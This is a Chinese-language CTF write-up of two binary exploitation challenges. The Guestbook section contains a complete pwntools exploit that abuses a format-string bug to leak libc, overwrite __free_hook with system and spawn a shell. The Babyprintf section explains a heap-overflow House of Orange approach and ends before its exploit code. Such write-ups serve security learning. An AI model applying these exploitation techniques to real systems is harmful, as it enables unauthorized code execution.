0x00 一些歪道理
比赛时pwn是肯定pwn不出来的,只有靠赛后复现才能够勉强维持得了尊严。不过确实能学到一些知识啊~
0x01 Guestbook
- 题目信息
该题目是一个Linux下32位的动态链接可执行文件并且checksec显示开了所有的保护机制。程序有add、see、del三个功能,能够增加客人、查看客人、删除客人。
- 漏洞位置
通过ida反汇编分析可得到数据结构如下:
1 | struct guest{ |
并且最多add10个guest,在see功能处有明显的格式化字符串漏洞,在del时会将name域请零,并且将heap_ptr指向phone的指针给free掉。
- 利用思路
由于保护机制全开,首先需要利用格式化字符串leak程序及libc基址,但是got表不可写,常用的格式化字符串写got表思路不可取。而在调用del时会调用free(heap_ptr),进而出发触发free_hook。若将free_hook劫持为system函数,heap_ptr指向/bin/sh字符串,则可起shell。
hook
一些函数存在hook指针供调试使用(如free、malloc等),通常为空指针,若hook值不为空,则在调用该函数之前先调用hook中的函数。
- My-exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73from pwn import *
local = 1
if local:
p = process('./guestbook')
libc = ELF('/lib32/libc-2.23.so')
gdb.attach(p , open('aa'))
else:
p = remote('47.100.64.171' , 20002)#nc 47.100.64.171 20002
libc = ELF('./libc.so.6')
def add(name):
p.recv(1024)
p.sendline('1')
p.recvuntil('name?\n')
p.sendline(name)
p.recvuntil('phone?\n')
p.sendline('1234567812345678')
def see(index):
p.recv(1024)
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(index)
p.recvuntil('name:')
ret = p.recvuntil('\n')[:-1]
return ret
def dele(index):
p.recv(1024)
p.sendline('3')
p.recvuntil('index:\n')
p.sendline(index)
p.recvuntil('\n')
elf = ELF('./guestbook')
#step1 use fsb to leak libc & elf base by the way find some func addr
add('%p-%3$p')
leak = see('0')
elf.address = int(leak.split('-')[0] , 16) - 0xe3a
libc.address = int(leak.split('-')[1] , 16) - 0x1b0da7
system_addr = libc.symbols['system']
binsh_addr = libc.search('/bin/sh').next()
free_hook = libc.address + 0x1b18b0
heap_ptr = elf.address + 0x3064
log.info('elf_addr => ' + hex(elf.address))
log.info('libc_addr => ' + hex(libc.address))
log.info('system_addr => ' + hex(system_addr))
log.info('binsh_addr => ' + hex(binsh_addr))
log.info('free_hook => ' + hex(free_hook))
#step2 write free_hook with system
for i in range(4):
length = ord(p32(system_addr)[i])
payload = 'aaa' + p32(free_hook + i)
payload += '%' + str(length - len(payload)) + 'c%8$hhn'
add(payload)
see(str(i + 1))
#step3 write heap_ptr with binsh
for i in range(4):
length = ord(p32(binsh_addr)[i])
payload = 'aaa' + p32(heap_ptr + i)
payload += '%' + str(length - len(payload)) + 'c%8$hhn'
add(payload)
see(str(i + 5))
#step4 call free(heap_ptr) -> free_hook(heap_ptr) -> system('/bin/sh')
p.recvuntil("choice:")
p.sendline('3')
p.sendline('0')
p.interactive()
0x02 Babyprintf
- 题目信息
该题目是一个Linux下64位的动态链接可执行文件并且checksec显示开了所有的保护机制。能够自己定义size大小,输入string得到result然后一直循环这个过程。
- 漏洞位置
用ida分析,整个程序简洁明了,功能完善,短小精悍,实乃精品。在size处我们可以申请任意长度的堆地址;string是通过gets进堆的,存在堆溢出漏洞;打印result时存在格式化字符串漏洞。
- 利用思路
然鹅本程序开了FORTIFY保护机制,该机制引入了__printf_chk函数,导致你在使用%a$p时需要同时使用%(1到a)$p才可以,并且禁用了%n,所以利用格式化字符串写的这条路基本被pass掉,只有可能进行一些简单的leak。所以只有堆溢出可以尝试一下,却只有malloc而没有free,几乎玩不起来。在网上搜到了当时Hitcon2016中House of Orange的利用技巧,参考了两篇文章:创造奇迹的Top Chunk*以及ctf-HITCON-2016-houseoforange学习。利用堆溢出将*top chunk修改为满足下列条件的值后,再次malloc比fake top chunk更大的空间时将会创建一个新的堆块并调用init_free将旧堆块中的fake top chunk给free掉,即可利用此机制构造fake top chunk size实现fastbin attack或unsort bin attack**。
触发_init_free的条件
1.大于MINSIZE(0X10)
2.小于所需的大小 + MINSIZE
3.prev inuse位设置为1
4.old_top + oldsize要在一个页中.
- My-exp